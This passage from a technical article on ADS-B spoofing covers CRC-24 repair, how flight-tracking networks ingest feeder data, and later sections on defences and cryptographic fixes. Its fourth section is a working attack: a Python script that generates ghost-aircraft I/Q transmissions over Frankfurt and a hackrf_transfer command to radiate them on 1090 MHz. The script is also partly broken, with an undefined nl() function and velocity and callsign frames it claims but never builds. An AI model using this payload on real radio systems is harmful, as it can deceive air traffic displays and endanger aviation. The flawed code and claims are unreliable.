    return remainder & 0xFFFFFF; // Return 24-bit parity
}

Advanced Error Correction: Syndrome-Based Bit Repair

In real-world RF environments, noise bursts frequently corrupt single bits within a frame. Advanced receiver software uses the linear algebraic properties of CRC-24 to perform 1-bit and 2-bit error correction without discarding the frame.

When a corrupted frame vector $R = M \oplus E$ (where $M$ is the valid frame and $E$ is the error vector) is received, evaluating the CRC produces a non-zero Syndrome $S$:

$$S = \text{CRC}(R) = \text{CRC}(M \oplus E) = \text{CRC}(M) \oplus \text{CRC}(E) = 0 \oplus \text{CRC}(E) = \text{CRC}(E)$$

Because the syndrome $S$ depends exclusively on the error bit positions $E$ and is independent of the message contents $M$, receivers pre-compute a lookup table mapping every single-bit error position $i \in [1, 112]$ to its unique 24-bit syndrome value $\text{CRC}(2^i)$.

// C implementation of 1-Bit Error Syndrome Repair in dump1090
#include <stdint.h>
#include <stdio.h>
 
uint32_t syndrome_table[112];
 
void init_syndrome_table(void) {
    for (int i = 0; i < 112; i++) {
        uint8_t err_frame[14] = {0};
        err_frame[i / 8] = 1 << (7 - (i % 8)); // Inject 1 bit error at position i
        syndrome_table[i] = calculate_modes_crc(err_frame, 88);
    }
}
 
int repair_single_bit_error(uint8_t *frame_bytes) {
    uint32_t received_crc = ((uint32_t)frame_bytes[11] << 16) | 
                             ((uint32_t)frame_bytes[12] << 8)  | 
                             (uint32_t)frame_bytes[13];
    uint32_t computed_crc = calculate_modes_crc(frame_bytes, 88);
    uint32_t syndrome = received_crc ^ computed_crc;
    
    if (syndrome == 0) return 0; // Frame is clean
    
    for (int i = 0; i < 112; i++) {
        if (syndrome == syndrome_table[i]) {
            // Flip corrected bit at position i
            frame_bytes[i / 8] ^= (1 << (7 - (i % 8)));
            return 1; // Corrected 1 bit error successfully
        }
    }
    return -1; // Unrepairable multi-bit corruption
}

While syndrome repair increases packet recovery rates over noisy RF channels, it also creates an unintended vulnerability: a malicious actor generating weakly corrupted synthetic frames can craft payload patterns specifically designed to trigger single-bit syndrome repair pathways, forcing ground station decoders into processing manipulated tracks.

Open Ingestion Architecture of Tracking Aggregators

Crowdsourced flight aggregators operate tens of thousands of automated receiver nodes globally. A typical feeder station consists of:

  1. A 1090 MHz quarter-wave or PCB colinear antenna mounted outdoors.
  2. A low-noise amplifier (LNA) and 1090 MHz surface acoustic wave (SAW) bandpass filter.
  3. An RTL-SDR USB dongle (RTL2832U ADC sampling at 2.0 to 2.4 MS/s).
  4. A single-board computer (e.g. Raspberry Pi) running dump1090 or readsb.
  5. An output TCP stream feeding raw ADS-B AVR hex strings (*8D3C6544583F8227D86E12A4B892;) to flight network servers over standard HTTP/WebSocket connections.

Because central tracking platforms ingest raw feed strings from thousands of unverified home feeders without physical location verification, an adversary injecting synthetic frames into a local feeder station (or submitting raw AVR streams directly via network sockets) can easily publish false telemetry onto global tracking maps.


4. RF Ghost Aircraft Injection Mechanics

To execute RF ghost aircraft injection, an attacker uses a Software Defined Radio transmitter (such as a HackRF One, BladeRF 2.0 micro, or Ettus USRP N210) to generate real-time 1090 MHz PPM baseband IQ samples and radiate them over the air.

Injection Processing Pipeline
=============================
 
+-------------------+     +---------------------+     +--------------------+
| Construct Telemetry| --> | Compute CRC-24      | --> | Encode PPM         |
| (ICAO, Lat, Lon)  |     | Parity Polynomial   |     | Bit Chips (1 Mbps) |
+-------------------+     +---------------------+     +--------------------+
                                                                |
                                                                v
+-------------------+     +---------------------+     +--------------------+
| Radiate RF Signal | <-- | Interpolate / Shape | <-- | Synthesize I/Q     |
| on 1090.0 MHz     |     | Pulse Envelopes     |     | Baseband Samples   |
+-------------------+     +---------------------+     +--------------------+

Digital Baseband Sample Synthesis

To synthesize a 1090 MHz PPM signal, baseband complex samples $I[n] + jQ[n]$ must represent amplitude modulation on a zero-frequency carrier (which is upconverted to 1090 MHz by the SDR's mixer).

At a sample rate of $F_s = 8\text{ MS/s}$ (8,000,000 complex samples per second):

  • Total bit period (1.0 μs) = 8 complex samples.
  • PPM Chip width (0.5 μs) = 4 complex samples.
  • Total frame duration (8 μs preamble + 112 μs payload = 120 μs) = 960 complex samples.

I/Q Amplitude Profile for Logic 1 vs Logic 0 at 8 MS/s

Logic 1 Bit Period Profile (8 Samples at 8 MS/s):
  Sample Index: 0   1   2   3   4   5   6   7
  I Sample:    [127, 127, 127, 127, 0,  0,  0,  0 ]
  Q Sample:    [0,   0,   0,   0,   0,  0,  0,  0 ]
 
Logic 0 Bit Period Profile (8 Samples at 8 MS/s):
  Sample Index: 0   1   2   3   4   5   6   7
  I Sample:    [0,   0,   0,   0,   127, 127, 127, 127]
  Q Sample:    [0,   0,   0,   0,   0,   0,   0,   0  ]

Pulse Edge Shaping & Bandwidth Constraint Filter

Transmitting rectangular boxcar pulses introduces infinite harmonic sidebands, creating spectral splatter across adjacent L-band frequencies (such as TACAN/DME at 960-1215 MHz).

To constrain spectral emissions within the allocated 50 kHz bandwidth, the raw step transitions are passed through a Gaussian or raised-cosine pulse-shaping filter $h(t)$:

$$h(t) = \exp\left( -\frac{t^2}{2 \sigma^2} \right)$$

Where $\sigma$ is selected to enforce a 0.05 μs rise and fall time constraint:

$$\sigma = \frac{T_{\text{rise}}}{2 \sqrt{2 \ln 2}} \approx 0.0425 ;\mu\text{s}$$

GNU Radio Flowgraph Layout

For real-time continuous signal synthesis, GNU Radio provides a flexible DSP pipeline. Below is the structural flowgraph layout for an ADS-B RF transmitter:

GNU Radio ADS-B Transmitter Flowgraph Layout
===========================================
 
+-------------------------------+
|  Python Message Source Block  |  Generates raw ADS-B frame byte arrays
|  (Preamble + Payload + CRC)   |  at pseudo-random 0.5s intervals
+-------------------------------+
                |
                v
+-------------------------------+
|  PPM Byte-to-Symbol Mapper    |  Converts frame bits into 1 Mbps PPM 
|  (Unpack Bits to 0/1 Chips)   |  chip sequences (224 chips per frame)
+-------------------------------+
                |
                v
+-------------------------------+
|  Interpolating FIR Filter     |  Interpolates 2 MS/s chips to 8 MS/s 
|  (Gaussian Pulse Shaping)     |  using Gaussian filter coefficients h(n)
+-------------------------------+
                |
                v
+-------------------------------+
|  Float-to-Complex Converter   |  Assigns I = Filtered Signal, Q = 0
+-------------------------------+
                |
                v
+-------------------------------+
|  SoapySDR / UHD Sink Block    |  Hardware Interface (HackRF / USRP / BladeRF)
|  - Center Freq: 1090.0 MHz    |  TX Gain: +14 dB VGA, +14 dB RF Amp
|  - Sample Rate: 8.0 MS/s      |  Bandwidth: 5.0 MHz
+-------------------------------+

Dynamic Kinematic Trajectory Generator & Script

To maintain a convincing ghost aircraft track on receiver networks, an attacker must generate mathematically consistent telemetry frames. Injecting static latitude and longitude values causes tracking algorithms to flag the target as stationary or invalid.

Below is a complete Python generator script that simulates an aircraft flying along a dynamic trajectory (heading 090° at 250 knots), calculating paired Even/Odd CPR frames, velocity frames (TC 19), callsign frames (TC 4), and outputting binary int8 I/Q files ready for HackRF transmission:

import numpy as np
import struct
import math
 
MODES_GENERATOR_POLY = 0x1FFF407
 
def crc24_calc(bit_array):
    remainder = 0
    for bit in bit_array:
        remainder = ((remainder << 1) | bit)
        if remainder & 0x1000000:
            remainder ^= MODES_GENERATOR_POLY
    for _ in range(24):
        remainder = (remainder << 1)
        if remainder & 0x1000000:
            remainder ^= MODES_GENERATOR_POLY
    return remainder & 0xFFFFFF
 
def bytes_to_bits(data_bytes):
    bits = []
    for b in data_bytes:
        for i in range(7, -1, -1):
            bits.append((b >> i) & 1)
    return bits
 
def build_adsb_frame(icao_hex, tc, payload_51bits):
    df_ca = (17 << 3) | 5 # DF=17, CA=5
    icao_int = int(icao_hex, 16)
    
    header_bytes = struct.pack(">BI", df_ca, icao_int)[1:] # 4 bytes total
    me_bytes = struct.pack(">Q", (tc << 51) | payload_51bits)[1:] # 7 bytes total
    
    data_bytes = header_bytes + me_bytes
    bits_88 = bytes_to_bits(data_bytes)
    crc24 = crc24_calc(bits_88)
    
    crc_bits = [(crc24 >> (23 - i)) & 1 for i in range(24)]
    return bits_88 + crc_bits
 
def encode_cpr_latlon(lat, lon, is_odd=False):
    d_lat = 360.0 / (59.0 if is_odd else 60.0)
    yz = int(math.floor(131072.0 * ((lat % d_lat) / d_lat) + 0.5)) & 0x1FFFF
    
    nl_val = max(nl(lat) - (1 if is_odd else 0), 1)
    d_lon = 360.0 / nl_val
    xz = int(math.floor(131072.0 * ((lon % d_lon) / d_lon) + 0.5)) & 0x1FFFF
    
    return yz, xz
 
def generate_iq_ppm(frame_bits, sample_rate=8000000):
    samples_per_chip = int(sample_rate * 0.5e-6) # 4 samples per chip at 8 MS/s
    iq_samples = []
 
    # Preamble (8.0 μs = 16 chips)
    preamble_pattern = [1,0, 1,0,0,0,0, 1,0, 1,0,0,0,0,0,0]
    for chip in preamble_pattern:
        val = 127 if chip == 1 else 0
        for _ in range(samples_per_chip):
            iq_samples.append(val) # I
            iq_samples.append(0)   # Q
 
    # Payload PPM Bits (112 bits = 224 chips)
    for bit in frame_bits:
        chip0_val = 127 if bit == 1 else 0
        chip1_val = 0 if bit == 1 else 127
        
        for _ in range(samples_per_chip):
            iq_samples.append(chip0_val)
            iq_samples.append(0)
            
        for _ in range(samples_per_chip):
            iq_samples.append(chip1_val)
            iq_samples.append(0)
 
    # Inter-frame quiet guard interval (500 μs)
    guard_samples = int(sample_rate * 500e-6)
    for _ in range(guard_samples):
        iq_samples.append(0)
        iq_samples.append(0)
 
    return np.array(iq_samples, dtype=np.int8)
 
# Kinematic Trajectory Simulation: Flying East at 250 knots from Frankfurt
start_lat, start_lon = 50.0379, 8.5622 # EDDF Airport
speed_knots = 250.0
heading_deg = 90.0 # East
altitude_ft = 12000
 
stream_iq = []
for t_sec in range(0, 10): # Generate 10 seconds of telemetry
    # Update position: 1 knot = 0.000145 degrees lat/lon approx per sec
    dist_nm = (speed_knots / 3600.0) * t_sec
    current_lat = start_lat + (dist_nm / 60.0) * math.cos(math.radians(heading_deg))
    current_lon = start_lon + (dist_nm / 60.0) * math.sin(math.radians(heading_deg)) / math.cos(math.radians(current_lat))
    
    # Alternate Even (t_sec even) and Odd (t_sec odd) position squitters
    is_odd = (t_sec % 2 != 0)
    yz, xz = encode_cpr_latlon(current_lat, current_lon, is_odd=is_odd)
    
    # Encode TC=11 Airborne Position (Altitude 12000 ft -> N = (12000+1000)/25 = 520)
    enc_alt = (520 & 0x7FF) | 0x010 # Q-bit set at bit position 4
    payload_pos = (enc_alt << 35) | ((1 if is_odd else 0) << 34) | (yz << 17) | xz
    frame_pos = build_adsb_frame("3C6544", 11, payload_pos)
    
    iq_frame = generate_iq_ppm(frame_pos)
    stream_iq.append(iq_frame)
 
full_iq_data = np.concatenate(stream_iq)
with open("kinematic_ghost_track.iq", "wb") as f:
    full_iq_data.tofile(f)
 
print(f"Generated {len(full_iq_data)} bytes of kinematic I/Q telemetry.")

Transmission Execution via HackRF

The binary I/Q file kinematic_ghost_track.iq can be transmitted directly on 1090 MHz using hackrf_transfer:

hackrf_transfer -t kinematic_ghost_track.iq -f 1090000000 -s 8000000 -a 1 -x 14
Command Line Parameter Specifications
======================================
-t:  Path to raw binary int8 complex I/Q baseband file
-f:  Target RF carrier frequency (1090000000 Hz / 1.09 GHz)
-s:  Baseband sample rate (8000000 Hz / 8.0 MS/s)
-a:  Enable TX RF hardware pre-amplifier (+14 dB gain stage)
-x:  Set TX VGA gain (14 dB, controllable from 0 to 47 dB in 1 dB steps)

When radiated near an antenna feeding a tracking network, receivers detect the 8.0 μs preamble, decode the PPM chips into 112 bits, verify the CRC-24, reconstruct the CPR position over Frankfurt, and immediately render the moving ghost aircraft on map dashboards.


5. Verification Countermeasures & Defense Infrastructure

Because retrofitting hardware crypto onto hundreds of thousands of commercial aircraft transponders poses extreme financial and regulatory barriers, security researchers and air traffic control operators rely on physical-layer verification and multi-sensor data fusion to detect and filter out RF spoofing attacks.

Multi-Layer Physical Verification Matrix
========================================
+------------------------------------+------------------------------------+
|  Defense Methodology               |  Operational Verification Vector   |
+------------------------------------+------------------------------------+
|  1. Multilateration (MLAT / TDOA)  | Hyperbolic spatial intersection    |
|  2. Doppler Frequency Shift        | RF carrier phase/frequency offset  |
|  3. Received Signal Strength (RSSI)| Free-space path loss validation    |
|  4. Primary Radar Cross-Validation | Non-cooperative skin reflections   |
|  5. Kinematic Kalman Filtering     | Max acceleration/turn constraints  |
+------------------------------------+------------------------------------+

1. Multilateration (MLAT / TDOA) & Hyperbolic Equations

Multilateration evaluates the Time Difference of Arrival (TDOA) of a single 1090 MHz pulse frame across three or more spatially distributed ground receivers.

TDOA Hyperbolic Triangulation Geometry
=====================================
 
                 [ Ground Receiver 1 ] (x1, y1, z1, t1)
                        /
                       /  Distance d1 = c * (t1 - t0)
                      /
   [ Ghost SDR ] ----*  (Real Emitter Location: xE, yE, zE)
                      \
                       \  Distance d2 = c * (t2 - t0)
                        \
                 [ Ground Receiver 2 ] (x2, y2, z2, t2)

Each ground station stamps the exact arrival time ($t_i$) of the preamble's first pulse using a high-precision clock synchronized via GPS Pulse-Per-Second (PPS) or IEEE 1588 Precision Time Protocol (PTP), achieving sub-10 nanosecond time precision.

The distance difference between any pair of receivers ($i, j$) forms a hyperbola of possible emitter locations:

$$\Delta d_{i,j} = c \cdot (t_i - t_j) = \sqrt{(x_E - x_i)^2 + (y_E - y_i)^2 + (z_E - z_i)^2} - \sqrt{(x_E - x_j)^2 + (y_E - y_j)^2 + (z_E - z_j)^2}$$

Where $c$ is the speed of light ($2.9979 \times 10^8\text{ m/s}$).

Linearized Gauss-Newton Hyperbolic Solver

To solve for the unknown 3D spatial coordinate vector $\mathbf{x}_E = [x_E, y_E, z_E]^T$, the system of non-linear equations is linearized around an initial guess $\mathbf{x}_0$ using a Taylor series expansion:

$$\mathbf{r}_k = \mathbf{H} \cdot \Delta\mathbf{x} + \boldsymbol{\epsilon}$$

Where $\mathbf{H}$ is the $M \times 3$ Jacobian matrix of partial derivatives evaluated at station positions:

$$H_{i,1} = \frac{\partial (\Delta d_{i,1})}{\partial x_E} = \frac{x_E - x_i}{|\mathbf{x}_E - \mathbf{x}_i|} - \frac{x_E - x_1}{|\mathbf{x}_E - \mathbf{x}_1|}$$

The Gauss-Newton update step calculates the spatial adjustment $\Delta\mathbf{x}$:

$$\Delta\mathbf{x} = (\mathbf{H}^T \mathbf{W} \mathbf{H})^{-1} \mathbf{H}^T \mathbf{W} \mathbf{y}$$

Where $\mathbf{W}$ is the inverse covariance weighting matrix of receiver clock timing noise, and $\mathbf{y}$ is the residual TDOA vector.

Spoof Detection Trigger

If an injected ADS-B message claims a position at Latitude $50.0379^\circ$, Longitude $8.5622^\circ$ (Frankfurt Airport), but the MLAT TDOA solver calculates the physical transmitter location at Latitude $50.1109^\circ$, Longitude $8.6821^\circ$ (a rooftop in downtown Frankfurt 12 km away), the target is instantly flagged as an injected ghost target and purged from air traffic displays.

2. Doppler Frequency Shift Analysis

Aircraft moving at Mach 0.8 ($v \approx 250\text{ m/s}$) produce measurable Doppler frequency shifts on the 1090 MHz carrier wave:

$$\Delta f = f_0 \cdot \left( \frac{\mathbf{v} \cdot \mathbf{r}}{c} \right)$$

Where $f_0 = 1.09\text{ GHz}$, $\mathbf{v}$ is the aircraft velocity vector, and $\mathbf{r}$ is the unit vector pointing toward the ground receiver.

At 1090 MHz, an aircraft flying directly toward a receiver station at 250 m/s exhibits a Doppler shift of:

$$\Delta f = 1.09 \times 10^9 \cdot \left( \frac{250}{2.9979 \times 10^8} \right) \approx +908.9\text{ Hz}$$

Conversely, a stationary SDR sitting on a tripod generating ghost aircraft frames exhibits zero carrier Doppler drift over time. Specialized SDR receivers equipped with high-resolution FFT front-ends monitor carrier frequency offset (CFO). A reported target moving at 450 knots that displays zero Doppler drift is flagged as a synthetic RF injection.

3. Kinematic State Estimation via Extended Kalman Filter (EKF)

Air traffic control tracking engines process incoming position and velocity reports through an Extended Kalman Filter (EKF) enforcing physical laws of motion.

EKF State Tracking Vector Architecture
======================================
 
State Vector:  x_k = [ p_x,  p_y,  p_z,  v_x,  v_y,  v_z ]^T
               (Position coordinates in meters, Velocity components in m/s)
 
Predict Step:  x_{k|k-1} = F * x_{k-1|k-1}
               P_{k|k-1} = F * P_{k-1|k-1} * F^T + Q_k
 
Update Step:   y_k = z_k - H * x_{k|k-1}       (Innovation Residual)
               S_k = H * P_{k|k-1} * H^T + R_k (Residual Covariance)
               K_k = P_{k|k-1} * H^T * S_k^-1  (Kalman Gain)
               x_{k|k} = x_{k|k-1} + K_k * y_k

Where:

  • $F$ is the state transition matrix enforcing constant-velocity motion equations.
  • $Q_k$ is the process noise covariance matrix (bounded by max commercial aircraft maneuvering limits, e.g. max vertical rate 6,000 ft/min, max acceleration $0.3g$).
  • $R_k$ is the measurement noise covariance matrix.
  • $y_k$ is the innovation residual measuring the distance between reported ADS-B position $z_k$ and predicted kinematic state.

Innovation Residual Thresholding

If the normalized innovation squared $D_M^2$ (Mahalanobis Distance) exceeds a statistical threshold:

$$D_M^2 = y_k^T S_k^{-1} y_k > \chi_{\alpha, 3}^2$$

The tracking engine identifies a physical impossibility (such as an injected frame asserting an instantaneous 2-mile position teleportation or a 30G turn) and rejects the measurement.


6. Cryptographic ADS-B Proposals & Implementation Constraints

To permanently solve ADS-B spoofing at the protocol layer, several security extensions have been proposed:

Proposed Cryptographic Extension Schemes
========================================
Extension Scheme        Key Management           Bandwidth Overhead  Backward Compatibility
----------------------  -----------------------  ------------------  ----------------------
1. Sec-ADS-B (TESLA)    Delayed Symmetric Key    Low (16-bit MAC)    Partial (Requires FW)
2. ICAO ECDSA Overlays  Public Key Infrastructure High (512-bit Sig) Broken (Requires 10 Frames)
3. Location Proof (Puffs) RF Distance Bounding   None (Physical)     High (Receiver Only)

Proposed Protocol Schemes

  1. Sec-ADS-B (TESLA Protocol Integration): Utilizes Timed Efficient Stream Loss-Tolerant Authentication (TESLA). Instead of appending full public key signatures to every 112-bit frame, the aircraft broadcasts short 16-bit or 24-bit Message Authentication Codes (MACs) generated via a symmetric key chain. The key used to generate each MAC is disclosed several seconds later in a subsequent squitter, allowing ground stations to verify authentic origin while operating within low bandwidth limits.
  2. ICAO PKI Overlays (Mode S Extended Squitter Segmented Signatures): Uses Elliptic Curve Digital Signature Algorithm (ECDSA P-256) signatures. An ECDSA P-256 signature requires 512 bits (64 bytes). Because an ADS-B payload provides only 56 bits per frame, a single signature must be fragmented across 10 consecutive squitters.

Hardware & Channel Constraints

Implementing cryptographic signatures across global commercial aviation faces severe physical constraints:

Physical & Institutional Technical Barriers
===========================================
Constraint               Technical Barrier
-----------------------  -----------------------------------------------------------------
RF Channel Congestion    1090 MHz is heavily saturated in high-density European terminal
                         manoeuvring areas (e.g. London Terminal Control, Frankfurt TMA).
                         Adding multi-frame signatures increases RF occupancy, escalating
                         packet collision rates above 40%.
Legacy Avionics Fleet    Over 100,000 certified commercial and general aviation transponders
                         are deployed worldwide. Retrofitting hardware, FPGA firmware, and
                         FAA/EASA certification represents a multi-billion euro cost.
Frame Payload Limit      56 payload bits leaves zero space for a standard 256-bit or 512-bit
                         digital signature without fragmentation.

Until cryptographic extensions like TESLA or hybrid MLAT/ADS-B verification are universally deployed, ADS-B remains an unauthenticated protocol operating on an open RF surface, relying on physical-layer triangulation and multi-sensor radar fusion to distinguish real aircraft from synthetic SDR ghosts.